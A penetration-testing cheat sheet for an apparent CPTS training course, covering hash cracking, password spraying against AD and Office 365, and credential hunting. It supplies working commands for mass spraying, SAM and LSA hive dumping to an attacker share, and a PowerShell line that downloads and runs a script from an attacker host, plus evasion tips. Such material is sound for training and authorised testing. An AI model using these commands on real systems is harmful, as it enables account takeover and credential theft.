password-attacks-and-credential-hunting.md (48270B)
1 --- 2 title: "Stage 08 — Password Attacks and Credential Hunting" 3 description: "CPTS attack-flow reference for stage 08 — password attacks and credential hunting in an authorised engagement." 4 category: pentest-workflow 5 subcategory: "CPTS Attack Flow" 6 order: 11 7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-08", "pentest-workflow"] 8 tools: ["Hashcat", "John the Ripper", "LaZagne", "Snaffler"] 9 difficulty: intermediate 10 updated: "2026-08-29" 11 source: "vault:Pentest Attack Flow/11 - Stage 08 - Password Attacks and Credential Hunting.md" 12 --- 13 > [!dashboard] Attack-flow navigation 14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 15 > 16 > **Section:** 11 of 17 · **Focus:** Stage 08 — Password Attacks and Credential Hunting 17 > 18 > **Previous:** [Stage 07 — ADCS and Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse) · **Next:** [Stage 09 — Privilege Escalation](/sheets/pentest-workflow/privilege-escalation) 19 20 --- 21 # 🔑 STAGE 8 — Password Attacks & Credential Hunting 22 23 Two jobs here: **crack** what I've dumped/captured, and **hunt** for creds already lying around on-host and in shares. Cracking hinges on nailing the right hashcat `-m` (or john `--format=`) on the first try — wrong mode = "Token length exception" and wasted GPU. Full references: hashcat-cheatsheet, john-cheatsheet, hashcat modes, Credential Hunting. 24 25 > [!abstract] The doctrine, in order 26 > 1. **Read the lockout policy before a single guess** (§0) — everything online hangs off it. 27 > 2. **Validate the user list** with kerbrute `userenum` *before* spraying (§4) — invalid accounts still burn lockout budget on many domains. 28 > 3. **Spray** one password, many users (§5/§6) — the inverse of brute force. 29 > 4. **Hunt** what's already on disk/in memory (§7–§10) — Snaffler, unattend files, GPP, LSASS, DPAPI, SAM/NTDS. 30 > 5. **Crack** offline what you captured (§1–§3) — hashcat on GPU, john for artefacts. 31 > 6. **Vault every recovered credential** the moment it lands (§11) — never paste plaintext into notes. 32 33 --- 34 35 ### 0 — 🔒 LOCKOUT-FIRST: read the policy before you guess 36 37 **What to look for:** the domain password/lockout policy dictates your entire spray cadence. Three numbers decide everything: **LockoutThreshold** (bad attempts before lock), **LockoutObservationWindow** (the sliding window those attempts count in), and **LockoutDuration** (how long a lock lasts). Spraying blind against an unknown threshold is how you lock 200 accounts and end the engagement. 38 39 **Enumerate (policy FIRST — non-negotiable):** 40 ```bash 41 # NetExec — null session first, authenticated if null is dead 42 nxc smb $DC -u '' -p '' --pass-pol 43 nxc smb $DC -u "$U" -p "$P" --pass-pol 44 nxc ldap $DC -u "$U" -p "$P" --pass-pol # quieter on some estates 45 46 # enum4linux-ng — full policy + user/RID enum in one pass 47 enum4linux-ng -P $DC # -P = password policy only 48 enum4linux-ng -A -u "$U" -p "$P" $DC # full enum when you have a cred 49 50 # fallbacks 51 rpcclient -U "" -N $DC -c "getdompwinfo" # null-session fallback 52 crackmapexec smb $DC --pass-pol -u '' -p '' # legacy CME syntax, same result 53 ``` 54 55 Typical output decoded: 56 ```text 57 Minimum password length: 7 → candidates shorter than this are wasted guesses 58 Password complexity: Enabled → need upper+lower+digit-or-symbol class mix 59 Lockout threshold: 5 → max SAFE guesses = threshold - 1 = 4 per window 60 Lockout observation window: 30 min → the counter resets 30 min after the LAST bad attempt 61 Lockout duration: 30 min → locked accounts self-release (don't count on it) 62 ``` 63 64 > [!danger] The threshold − 1 rule 65 > Spray **at most `threshold − 1` passwords per account per observation window**, and leave headroom for failed logins that aren't yours (helpdesk, users fat-fingering, your own earlier typos). In practice on a `5 / 30 min` policy: **2 passwords per account per 30+ minutes** is the sane pace — that's 4-6 passwords per account per *day*. There is **no LockoutThreshold = 0 lockout** (0 = lockouts disabled = theoretically unlimited), but you still spray slowly: authentication failures are *telemetry* even when they can't lock. Fine-Grained Password Policies (PSOs) can give **privileged groups a different, stricter policy** — `nxc ldap --pass-pol` and BloodHound won't always surface PSOs, so check: `Get-ADFineGrainedPasswordPolicy -Filter *`. 66 67 > [!warning] Watch out — detection, not just lockout 68 > Every failed attempt is logged: **4625** (failed logon), **4771** (Kerberos pre-auth failed), **4776** (NTLM validation). A spray of 500 accounts produces a burst of 4625s with status `0xC000006A` (bad password) across many accounts from one source — a textbook Sigma/Defender-for-Identity detection (T1110.003). Locked accounts generate **4740**. `--continue-on-success` means "keep going after the first hit" (full coverage) — it does **NOT** override lockout. Server 2022+ "smart lockout" syncs bad-pwd counts across all DCs — pad your delays. Full playbook: 🔴 Attack. 69 70 --- 71 72 ### 1 — Identify the hash before you touch a GPU 73 74 **What to look for:** the shape/prefix. `$6$` = sha512crypt, `$1$` = md5crypt, `$2*$` = bcrypt, `$krb5tgs$` = Kerberoast, `$krb5asrep$` = AS-REP, `user::domain:...` = NetNTLMv2, bare 32-hex = MD5 **or** NTLM **or** raw-MD4 (guess, don't assume). 75 76 **Enumerate (identify):** 77 ```bash 78 hashid -m '<hash>' # prints the matching hashcat -m number 79 nth --file hashes.txt # Name-That-Hash: modern, modes + john formats 80 haiti '<hash>' # haiti: colourised multi-engine ID 81 hashcat --identify hash.txt # newer builds: candidate modes for a file 82 john --list=formats | tr ',' '\n' | grep -i ntlm # find john's format name 83 hashcat -m 5600 --example-hashes # sanity-check the line shape vs the mode 84 ``` 85 Identifiers: [hashid](https://github.com/psypanda/hashID) (classic), [Name-That-Hash](https://github.com/HashPals/Name-That-Hash) (prints hashcat mode **and** john format), [haiti](https://github.com/noraj/haiti) (best coverage on exotic types). 86 87 > [!warning] Watch out 88 > `hashid` **guesses from length/shape** — it does not confirm. 32-hex could be raw-md5 / NTLM (`-m 1000`) / raw-md4. If the first mode loads zero hashes or "Token length exception", try the siblings before deciding the hash is broken. Cross-check with `--example-hashes` on the mode you *think* it is. 89 90 --- 91 92 ### 2 — hashcat: the modes I actually use 93 94 [hashcat](https://github.com/hashcat/hashcat) is the GPU workhorse. **Key `-m` table (HTB/CPTS):** 95 96 | `-m` | Hash | john `--format=` | Source | 97 | --: | :-- | :-- | :-- | 98 | `0` | MD5 | `raw-md5` | web apps | 99 | `100` | SHA1 | `raw-sha1` | web apps | 100 | `1000` | **NTLM** | `nt` | SAM / NTDS / secretsdump | 101 | `3000` | LM | `lm` | legacy (empty on modern Win — `aad3b435...`) | 102 | `500` | md5crypt `$1$` | `md5crypt` | Linux/Cisco/opasswd | 103 | `1800` | sha512crypt `$6$` | `sha512crypt` | Linux `/etc/shadow` | 104 | `7400` | sha256crypt `$5$` | `sha256crypt` | Linux | 105 | `3200` | **bcrypt** `$2*$` | `bcrypt` | app DBs / htpasswd | 106 | `1100` / `2100` | DCC / **DCC2** | `mscash` / `mscash2` | cached domain logons (`--lsa`) | 107 | `5500` / `5600` | NetNTLMv1 / **NetNTLMv2** | `netntlm` / `netntlmv2` | Responder / relay | 108 | `13100` | **Kerberoast TGS-REP (RC4)** | `krb5tgs` | GetUserSPNs / Rubeus | 109 | `19600` / `19700` | Kerberoast **AES128 / AES256** | — | AES Kerberoast (`$krb5tgs$17$`/`$18$`) | 110 | `18200` | **AS-REP roast** | `krb5asrep` | GetNPUsers | 111 | `22000` | **WPA-PBKDF2-PMKID+EAPOL** | `wpapsk` | Wi-Fi capture | 112 | `13400` | KeePass 1/2 | `keepass` | `.kdbx` | 113 | `1800`→see note | `1000` vs `3000` | — | 32-hex NT (crack it) vs 16-hex-split LM halves (dead, empty) | 114 115 **Attack modes (`-a`) cheat:** 116 | `-a` | Mode | Use when | 117 | --: | :-- | :-- | 118 | `0` | Straight wordlist (+rules) | default, always first | 119 | `1` | Combination (wordlist × wordlist) | two base lists, `left right` concatenation | 120 | `3` | Mask / brute-force | you *know* the structure (`?u?l?l?l?l?l?d?d`) | 121 | `6` | Hybrid wordlist + mask | `Summer` + `2024` — append digits/symbols | 122 | `7` | Hybrid mask + wordlist | prepend `2024` + word | 123 | `9` | Association | crack one specific hash with known clues about its owner | 124 125 Mask charsets: `?l` lower, `?u` upper, `?d` digit, `?s` symbol, `?a` all, `?b` binary; custom sets via `-1 ?l?d` then `?1` in the mask. 126 127 **Attack (the four forms I reach for):** 128 ```bash 129 # Straight wordlist + rules (default go-to) 130 hashcat -m 1000 -a 0 ntlm.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -O -w 3 131 132 # Mask / brute-force (only when I know the structure) ?l ?u ?d ?s ?a 133 hashcat -m 1000 -a 3 ntlm.txt '?u?l?l?l?l?l?d?d' 134 hashcat -m 1000 -a 3 ntlm.txt '?a?a?a?a?a?a?a?a' -i --increment-min 6 --increment-max 8 135 136 # Hybrid: word + appended mask (Summer2024 style) 137 hashcat -m 1000 -a 6 ntlm.txt rockyou.txt '?d?d?d?d' 138 hashcat -m 1000 -a 7 ntlm.txt '?d?d?d?d' rockyou.txt # prefix digits + word 139 140 # Combination (-a 1): company terms x season terms 141 hashcat -m 1000 -a 1 ntlm.txt company-words.txt season-year.txt 142 ``` 143 144 **AD cracking recipes (feed from Stage 6/7 loot):** 145 ```bash 146 hashcat -m 1000 -a 0 ntds.hashes rockyou.txt -r best64.rule --username -o cracked.txt # NTDS NTLM (--username strips user: prefix) 147 hashcat -m 5600 -a 0 ./Responder/logs/*.txt rockyou.txt -O # NetNTLMv2 from Responder 148 hashcat -m 13100 -a 0 kerberoast.hashes rockyou.txt -r best64.rule # Kerberoast RC4 149 hashcat -m 18200 -a 0 asrep.hashes rockyou.txt -r best64.rule # AS-REP roast 150 hashcat -m 22000 -a 0 handshake.hc22000 rockyou.txt # WPA2 (convert first, below) 151 hcxpcapngtool -o handshake.hc22000 capture.pcapng # pcapng -> 22000 152 hashcat -m 1000 ntds.hashes --show --username # read potfile hits 153 hashcat --session lab1 --restore # resume a stopped run 154 ``` 155 156 **Potfile hygiene & the brain:** 157 ```bash 158 # potfile = ~/.hashcat/hashcat.pot — it makes --show work but ALSO means re-runs "find nothing" 159 hashcat -m 1000 ntlm.txt rockyou.txt --potfile-path /tmp/engagement.pot # per-engagement potfile 160 hashcat -m 1000 ntlm.txt rockyou.txt --potfile-disable # forensic-clean, no caching 161 # --brain (distributed dupe-suppression across many attacks on the same hash set) 162 hashcat --brain-server --brain-host 0.0.0.0 --brain-password <pw> # one host runs the brain 163 hashcat -m 1000 ntlm.txt rockyou.txt -z --brain-client-features 3 --brain-host <ip> --brain-password <pw> 164 ``` 165 166 > [!warning] Watch out 167 > - **AES Kerberoast** (`$krb5tgs$18$` / `$17$`) is `19700`/`19600`, **not** `13100` — RC4 mode silently loads nothing on AES tickets. 168 > - `-O` (optimised kernel) caps candidate length ~31. Fine for NTLM; **drop it for WPA/KeePass** long passphrases or you skip valid candidates. 169 > - Rules on `rockyou.txt` (`-r OneRuleToRuleThemAll.rule`) beat a blind `?a?a?a…` mask for real corp passwords every time. 170 > - `--show` reads the **potfile**, not the hash file — if you cracked in another session/potfile, `--show` lies to you with "0 recovered". 171 172 --- 173 174 ### 3 — John: file artefacts, `--single`, and formats hashcat lacks 175 176 [John the Ripper (jumbo)](https://github.com/openwall/john) — **what to look for:** anything that isn't a bare hash — a zip, PDF, SSH key, KeePass DB, `/etc/shadow`. John's `*2john` extractors turn the artefact into a crackable line whose `$name$` prefix tells me the format instantly. 177 178 **Enumerate (extract the hash):** 179 ```bash 180 ssh2john id_rsa > ssh.hash 181 zip2john archive.zip > zip.hash 182 keepass2john Database.kdbx > kp.hash # -> $keepass$... crack with --format=keepass or hashcat -m 13400 183 office2john report.docx > office.hash 184 7z2john archive.7z > 7z.hash 185 unshadow /etc/passwd /etc/shadow > unshadowed.txt # merge so --single can use usernames 186 ``` 187 188 **Attack (escalating: single → wordlist → rules → incremental):** 189 ```bash 190 john --single unshadowed.txt # free first pass, derives from username/GECOS 191 john --format=sha512crypt --wordlist=rockyou.txt unshadowed.txt 192 john --format=nt --wordlist=rockyou.txt --rules=Jumbo ntlm.txt # wordlist + mangling 193 john --format=krb5tgs --wordlist=rockyou.txt spns.txt # Kerberoast (from GetUserSPNs) 194 john --format=krb5asrep --wordlist=rockyou.txt asrep.txt # AS-REP (from GetNPUsers) 195 john --incremental unshadowed.txt # brute-force, last resort 196 john --show unshadowed.txt # reveal cracked plaintext 197 ``` 198 199 > [!tip] Run `--single` first, always — it's free 200 > It finishes in seconds and catches `admin`→`Admin123`/`admin!` style passwords derived from the username. Run `unshadow` before it so john has the usernames to mangle. Cracked plaintext lives in `~/.john/john.pot`; john won't re-crack — point `--pot=/tmp/fresh.pot` to force a clean run. 201 202 > [!note] hashcat vs john 203 > Raw MD5/SHA/NTLM/WPA/Kerberos → **hashcat on GPU** (10–100× faster). Keep **john** for its `*2john` extractors, `--single`, and formats hashcat lacks. Deeper hash-generation/ID reference: Hashing cheat sheet. 204 205 --- 206 207 ### 4 — Username lists + validate-before-spray 208 209 **What to look for:** the org's username convention (`flast`, `first.last`, `firstl`) from email headers, PDF metadata authorship, LinkedIn. A correct convention shrinks the spray list and cuts lockout risk. 210 211 **Enumerate (generate permutations):** 212 ```bash 213 # username-anarchy — name -> flast/first.last/firstl/... permutations 214 ./username-anarchy Jane Smith > jane_smith_usernames.txt 215 ./username-anarchy -i names.txt > users.txt # feed a whole OSINT name list 216 ./username-anarchy --list-formats # see every format it can emit 217 218 # namemash.py — dead-simple 30-line alternative (no install) 219 python3 namemash.py names.txt > users.txt 220 ``` 221 Tools: [username-anarchy](https://github.com/urbanadventurer/username-anarchy), [namemash.py](https://gist.github.com/superkojiman/11076951), plus seed lists from [statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) (`james.txt` → `jsmith`-style top first names/surnames) and [linkedin2username](https://github.com/initstring/linkedin2username) for scraping current employees straight off LinkedIn. Harvest raw names via theHarvester/Hunter.io from Stage 00 ([01 - Stage 00 - Passive External Recon](/sheets/pentest-workflow/passive-external-recon)). 222 223 **Validate the list BEFORE spraying (invalid users still burn lockout budget):** 224 ```bash 225 # kerbrute userenum — Kerberos pre-auth oracle: valid users answer differently, and 226 # accounts with DONT_REQ_PREAUTH never even tick the bad-password counter 227 kerbrute userenum -d $DOMAIN --dc $DC users.txt -o valid_users.txt 228 229 # safe fallback: LDAP anonymous/authenticated query against the DC 230 nxc ldap $DC -u users.txt -p '' --no-bruteforce 2>/dev/null | grep -i success # thin 231 windapsearch --dc $DC -u "" --users | awk '{print $4}' > valid_users.txt 232 ``` 233 234 > [!tools] Stage this 235 > [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc)) 236 237 > [!tip] Validate-before-spray doctrine 238 > On many domains a *nonexistent* username counts against nothing, but on others (and against MSSQL/RDP) every guess is a 4625 against a real telemetry pipeline. `kerbrute userenum` talks UDP/88 Kerberos only — no SMB/NTLM 4625 storm, and on older DCs often just 4768s that blend into normal auth noise. Never spray a raw OSINT list; the hit-rate gain from a 400-name list validated down to 320 real accounts is enormous. 239 240 --- 241 242 ### 5 — Password spraying: one password, many users 243 244 **What to look for:** a **validated** user list (§4) + the **lockout policy** (§0). Spray one common seasonal/corp password (`Welcome1`, `Summer2026!`, `Company123`) across every account — the inverse of brute force, staying under the threshold. 245 246 **Spraying tool matrix:** 247 248 | Tool | Protocols | Flag that matters | Notes | 249 | :-- | :-- | :-- | :-- | 250 | [nxc](https://github.com/Pennyw0rth/NetExec) | smb, ldap, winrm, mssql, rdp, ssh, ftp | `--continue-on-success`, `--no-bruteforce` | the default; `--jitter` for pacing | 251 | kerbrute `passwordspray` | Kerberos (UDP/88) | `-d $DOMAIN --dc $DC` | stealthiest; often only 4771s | 252 | [hydra](https://github.com/vanhauser-thc/thc-hydra) | everything incl. http-form | `-L/-l -P/-p -t` threads | chokes on SMBv3 — use nxc | 253 | [medusa](https://github.com/jmk-foofus/medusa) | smbnt, ssh, rdp, mssql, http | `-M smbnt -m PASS:HASH`, `-t` parallel hosts | stable SMB spraying where hydra fails | 254 | [patator](https://github.com/lanjelot/patator) | everything, scriptable | `smb_login host=FILE0 user=FILE1 password=FILE2` | python, precise `-x ignore:code=` filtering | 255 256 **Attack (spray):** 257 ```bash 258 # One password across the user list — --no-bruteforce = don't do the full NxM cartesian 259 nxc smb $DC -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce 260 261 # Other protocols with the same list (winrm hit = (Pwn3d!) -> shell via evil-winrm) 262 nxc winrm $DC -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce 263 nxc mssql $IP -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce --local-auth 264 nxc rdp $IP -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce 265 nxc ssh $IP -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce 266 267 # Add jitter and go subnet-wide 268 nxc smb $IP/24 -u valid_users.txt -p 'Welcome2026!' --no-bruteforce --jitter 2 269 270 # LDAP spray (fewer 4625 events than SMB on older DCs) 271 nxc ldap $DC -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce 272 273 # Stealthiest path — kerbrute over UDP/88 (often no 4625, only 4771) 274 kerbrute passwordspray -d $DOMAIN --dc $DC valid_users.txt 'Welcome2026!' 275 276 # medusa — SMB spray alternative (handles SMB where hydra breaks) 277 medusa -h $DC -U valid_users.txt -p 'Welcome2026!' -M smbnt -m PASS:PASSWORD 278 279 # patator — precise, filter real hits from lockout responses 280 patator smb_login host=$DC user=FILE0 password='Welcome2026!' 0=valid_users.txt -x ignore:fgrep='STATUS_LOGON_FAILURE' 281 ``` 282 283 > [!warning] Watch out — account lockout 284 > `--no-bruteforce` pairs files line-by-line; **without it, two files = every user × every password = instant mass lockout**. Recheck §0's threshold − 1 rule before every new password in the rotation, and re-confirm the observation window has elapsed since your *last* spray of that account — not since the start of the engagement. 285 286 --- 287 288 ### 6 — ☁️ O365 / Entra ID (Azure) spraying 289 290 **What to look for:** `login.microsoftonline.com` / ADFS endpoints exposed for a target with O365 mail — no on-prem lockout applies, but **Microsoft Smart Lockout** and Azure AD Identity Protection watch the cloud side, and failed logons land in the tenant's Entra sign-in logs (visible to the SOC the instant you spray). 291 292 **Attack (per tool):** 293 ```bash 294 # o365spray — enum -> validate -> spray against O365/ADFS/NTLM endpoints 295 o365spray --validate --domain $DOMAIN 296 o365spray --enum -U users.txt --domain $DOMAIN # office365/graph/onenote methods 297 o365spray --spray -U valid_users.txt -p 'Summer2026!' --domain $DOMAIN --count 1 --lockout 30 298 299 # Go365 — endpoints: -endpoint graph|sts|adfs 300 ./Go365 -u valid_users.txt -p 'Summer2026!' -d $DOMAIN -endpoint graph 301 302 # MSOLSpray (from a Windows box / PS) — MSOL endpoint, returns error codes you can filter 303 Import-Module .\MSOLSpray.ps1 304 Invoke-MSOLSpray -UserList .\valid_users.txt -Password 'Summer2026!' -Sleep 30 -OutFile sprayed.txt 305 # AADSTS codes: 50053=locked(smart lockout!) 50055=expired password(VALID!) 50057=disabled 50126=bad cred 306 ``` 307 Tools: [o365spray](https://github.com/0xZDH/o365spray), Go365 (embedded below), MSOLSpray (embedded below). For red-team OPSEC, [CredMaster](https://github.com/knavesec/CredMaster) rotates egress IPs per attempt via AWS API Gateway FireProx — one attempt per IP defeats per-source throttling. 308 309 > [!tools] Stage this 310 > [Go365_linux_amd64.tar.gz](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256.asc)) 311 > [MSOLSpray.ps1](/downloads/pentest-workflow/MSOLSpray.ps1) ([SHA-256](/downloads/pentest-workflow/MSOLSpray.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/MSOLSpray.ps1.sha256.asc)) 312 313 > [!warning] Watch out 314 > - `AADSTS50055` (password expired) is a **valid credential** — you can often complete the forced password change and log in. 315 > - Smart Lockout triggers per-*account*, not per-IP — CredMaster spreads source IPs but cannot save an account you hammer. 316 > - Legacy auth (MSOL endpoint) bypasses Conditional Access/ MFA on misconfigured tenants; graph endpoint respects it. If MFA is enforced, a valid password still isn't a session — pivot to device-code phishing or token theft instead. 317 > - FireProx APIs persist in AWS — **delete them after the engagement** (CredMaster `--clean`), they are billable and attributable. 318 319 --- 320 321 ### 7 — On-host / share credential hunting 322 323 **What to look for:** plaintext creds admins left behind — configs, scripts, history, registry autologon, KeePass DBs, unattend/sysprep answer files, web.config connection strings, and GPP `cpassword` in SYSVOL (still the crown jewel). Any authenticated domain user can read SYSVOL. Full methodology: Credential Hunting and 🔴 Attack. 324 325 **Enumerate (Linux host — targeted, not `/`):** 326 ```bash 327 # Recursive grep, skip binaries, suppress noise 328 grep -rnIi -E 'password|passwd|pass=|pwd=|api_key|secret|token' /etc /opt /var/www /home 2>/dev/null | tee creds.txt 329 330 # Fast filename sweep + high-value file types 331 locate -i password | grep -v 'lib\|share\|doc' 332 find /var/www /opt /home -type f \( -iname '*pass*' -o -iname '*secret*' -o -iname '*.pem' -o -iname '.env' \) 2>/dev/null 333 334 # History, env, process args, SSH keys 335 cat ~/.bash_history ~/.zsh_history ~/.mysql_history 2>/dev/null | grep -i 'pass\|user\|key\|secret' 336 env | grep -iE 'pass|key|secret|token|api' 337 ps auxww | grep -iE 'mysql|psql|ssh|ftp|--password' | grep -v grep 338 grep -rnI 'BEGIN.*PRIVATE KEY' /home /root 2>/dev/null 339 ``` 340 341 **Enumerate (Windows host — manual patterns):** 342 ```powershell 343 # findstr sweeps — SYSVOL scripts, local dirs, IIS configs 344 findstr /S /I "password" \\$DOMAIN\NETLOGON\*.bat \\$DOMAIN\NETLOGON\*.ps1 \\$DOMAIN\NETLOGON\*.vbs 345 findstr /S /I /M "password" C:\Users\*\*.txt C:\Users\*\*.xml C:\Users\*\*.config 2>$null 346 findstr /S /I "password" C:\inetpub\wwwroot\*.config C:\inetpub\wwwroot\*.aspx 2>$null 347 348 # the classic answer-file & config hit-list (check every one) 349 # C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml 350 # C:\Windows\System32\sysprep.inf C:\Windows\System32\sysprep\sysprep.xml 351 # C:\inetpub\wwwroot\web.config C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config 352 dir C:\ /s /b | findstr /I "unattend.xml sysprep.inf web.config" 2>$null 353 354 # registry autologon 355 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # DefaultUserName/DefaultPassword 356 357 # scheduled tasks & scripts with embedded creds (run-as accounts, plaintext args) 358 schtasks /query /fo LIST /v | findstr /I "Task To Run Run As User" 359 Get-ChildItem -Recurse C:\Scripts,C:\DeploymentShare -Include *.ps1,*.bat,*.cmd -ErrorAction SilentlyContinue | 360 Select-String -Pattern 'password|net use|runas' | Select-Object Path,Line 361 362 Get-ChildItem -Recurse -Filter "*.kdbx" \\FS01\ 2>$null # KeePass DBs 363 cmdkey /list # saved Credential Manager entries 364 ``` 365 366 **Attack (GPP `cpassword` — public AES key = plaintext):** 367 ```bash 368 # nxc modules — fastest automated sweep 369 nxc smb $DC -u "$U" -p "$P" -M gpp_password 370 nxc smb $DC -u "$U" -p "$P" -M gpp_autologin 371 372 # PowerSploit Get-GPPPassword from a Windows foothold 373 powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Get-GPPPassword.ps1'); Get-GPPPassword" 374 375 # Manual: mount SYSVOL, find + decrypt a single cpassword 376 sudo mount -t cifs //$DC/SYSVOL /tmp/sysvol -o username=$U,password="$P",domain=$DOMAIN 377 grep -ria cpassword /tmp/sysvol/ 2>/dev/null 378 gpp-decrypt 'j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw' # -> plaintext 379 380 # Share hunting + KeePass cracking 381 nxc smb $IP/24 -u "$U" -p "$P" --shares 382 nxc smb $DC -u "$U" -p "$P" -M spider_plus --share IT --pattern "password,pass,cred,secret,key,.kdbx" 383 keepass2john found.kdbx > kp.hash && hashcat -m 13400 kp.hash rockyou.txt # crack the master 384 ``` 385 Tools: [Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit) (PowerSploit Exfiltration module), [gpp-decrypt](https://github.com/t0thkr1s/gpp-decrypt) (offline ruby decryptor), Impacket `Get-GPPPassword.py` (remote, no domain-joined box needed). 386 387 **Snaffler — the automated share-hunter:** 388 ```batch 389 :: on a domain-joined foothold: hunt every readable share, colour-ranked output 390 Snaffler.exe -s -d $DOMAIN -o snaffler.log -v data 391 Snaffler.exe -s -d $DOMAIN -i C:\shares -o snaffler.log # targeted share list instead 392 ``` 393 394 > [!tools] Stage this 395 > [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc)) 396 397 > [!tip] Snaffler over manual grep on real engagements 398 > [Snaffler](https://github.com/SnaffCon/Snaffler) auto-hunts every accessible share and colour-ranks finds (🔴 RED = creds). Check `Groups.xml` first — that's where GPP local-admin passwords live, and a decrypted GPP password is usually the **same local admin across every workstation in the domain**. Snaffler is C# and *will* trip AMSI/Defender if run from disk — expect to need the usual evasion from Stage 05 tooling. 399 400 > [!warning] Watch out 401 > Credential hunting is **loud**: recursive grep from `/` spikes I/O; reads of `/etc/shadow`, `~/.ssh/*`, and bulk `SYSVOL\*.xml` (Event **5145** file-share access, **4663** object access) are exactly what auditd/EDR watch for. Snaffler at `-v data` hammers every share (thousands of 5145s) — scope it with `-i` on sensitive engagements. Verify a decrypted GPP/found password still works before burning it — admins rotate locally and leave the stale XML behind. 402 403 --- 404 405 ### 🗝️ Credential Stores, Dumping & Network Brute-Forcing 406 407 Cracking is only half the stage — the other half is knowing **where the creds physically live** so I can rip them out, plus the online-brute path for when I have no hash at all, only a service prompt. This is the extraction/attack menu that feeds the hashcat/john pipelines above. Deep dives: 4 - Attacking SAM, 5 - Attacking LSASS, 8 - Credential Hunting in Linux, 7 - Credential Hunting in Windows, 12 - Cracking Protected Files, 2 - Attacking Network Service Logins. 408 409 --- 410 411 #### 🐧 Linux credential stores 412 413 **What to look for:** `/etc/shadow` + the PAM history file `/etc/security/opasswd` (often holds *older, weaker* hashes for the same accounts), in-memory secrets, browser vaults, and Kerberos keytabs/ccache on domain-joined boxes. 414 415 **Enumerate / extract:** 416 ```bash 417 # shadow → unshadow is already in §3; the net-new file is opasswd (PAM pw-history) 418 sudo cat /etc/security/opasswd 419 # cry0l1t3:1000:2:$1$HjFAfYTG$qNDkF0zJ... ← $1$ md5crypt = fast crack -m 500, may reveal a reused base 420 # strip the account:uid:count: prefix, keep the $1$… blobs, crack: 421 hashcat -m 500 -a 0 opasswd.hashes rockyou.txt 422 423 # In-memory / keyring (both need root — they read process memory + protected stores) 424 sudo python3 mimipenguin.py # pulls live cleartext for GNOME/sshd/etc. 425 sudo python3 laZagne.py all # Wi-Fi, libsecret, kwallet, chromium, git, keyrings, shadow, docker… 426 427 # Firefox saved logins (encrypted in logins.json → decrypt with the profile's key4.db) 428 python3 firefox_decrypt.py ~/.mozilla/firefox/*.default-release/ 429 ``` 430 431 **Kerberos material on domain-joined Linux (keytab → hash):** 432 ```bash 433 realm list ; ps -ef | grep -iE "sssd|winbind" # is this box domain-joined? 434 find / -name '*.keytab' -ls 2>/dev/null; crontab -l # cron/scripts reveal off-convention keytabs 435 python3 /opt/keytabextract.py carlos.keytab # → NTLM + AES128/256 → crack or PtH 436 env | grep -i KRB5CCNAME; ls -la /tmp/krb5cc_* # ccache tickets (root can read anyone's) 437 ``` 438 439 > [!warning] Watch out 440 > `opasswd` is the classic missed store — its `$1$` md5crypt entries crack in seconds and often expose the *pattern* someone still reuses in `/etc/shadow`'s slow `$6$`. `mimipenguin`/`LaZagne`/keytab reads all need **root**, so if hunting stalls at user level, privesc first. Keytabs are long-term (valid until password change); ccache tickets are time-boxed — check `klist` "expires" before trusting one. Ticket **replay** itself is 11 - Pass the Ticket (PtT) from Linux, not this stage. 441 442 --- 443 444 #### 🪟 Windows credential stores — SAM / SECURITY / SYSTEM 445 446 **What to look for:** local account hashes in the **SAM** hive (needs the **SYSTEM** hive's bootkey to decrypt), cached domain logons + LSA secrets in the **SECURITY** hive, and domain session creds in **LSASS** memory. 447 448 **SAM — offline three-hive pipeline (the manual version of `nxc --sam`):** 449 ```batch 450 :: on target, elevated — all three hives; SECURITY adds cached-domain-creds + LSA secrets 451 reg.exe save hklm\sam C:\sam.save 452 reg.exe save hklm\system C:\system.save 453 reg.exe save hklm\security C:\security.save 454 ``` 455 ```bash 456 # attack host: stand up a share, target moves the hives across 457 impacket-smbserver -smb2support CompData . # then on target: move *.save \\$LHOST\CompData 458 impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL 459 # → Administrator:500:aad3b435…:31d6cfe0…::: (LM field is the constant empty value on modern Win — ignore it, crack the NT) 460 ``` 461 462 **Automated remote equivalents (one-liners, noisier):** 463 ```bash 464 nxc smb $IP --local-auth -u "$U" -p "$P" --sam # SAM hashes 465 nxc smb $IP --local-auth -u "$U" -p "$P" --lsa # LSA secrets + cached domain creds (DCC2) 466 ``` 467 468 > [!note] Cached domain creds = DCC2 (`-m 2100`) 469 > `--lsa` / the SECURITY hive surface **domain cached credentials** (`$DCC2$10240#user#…`) — what lets a laptop log its domain user in with the DC offline. These are **not NTLM**: you can't Pass-the-Hash them, only crack them, and DCC2 is deliberately PBKDF2-slow (10 240 iters) so throw a *targeted* wordlist at `-m 2100`, not brute force. `NL$KM` is the LSA key, not a crackable secret. 470 